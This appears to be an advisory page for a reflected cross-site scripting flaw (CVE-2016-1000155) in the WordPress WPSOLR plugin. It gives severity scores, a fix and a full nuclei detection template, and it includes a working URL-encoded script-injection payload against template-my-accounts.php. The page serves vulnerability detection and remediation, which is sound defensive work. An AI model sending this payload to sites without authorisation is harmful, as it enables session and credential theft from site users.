WordPress WPSOLR <=8.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to the latest version of WPSOLR plugin (8.7 or higher).

How to confirm it

Send: GET /wp-content/plugins/wpsolr-search-engine/readme.txt
Positive when: contains "WPSOLR Search Engine ="
Send: GET {{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscrip…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000155 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000155

info:
  name: WordPress WPSOLR <=8.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to the latest version of WPSOLR plugin (8.7 or higher).
  reference:
    - https://wordpress.org/plugins/wpsolr-search-engine
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=303
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000155
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000155
    cwe-id: CWE-79
    epss-score: 0.04486
    epss-percentile: 0.91553
    cpe: cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpsolr
    product: "wpsolr-search-engine"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,wpsolr,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WPSOLR Search Engine ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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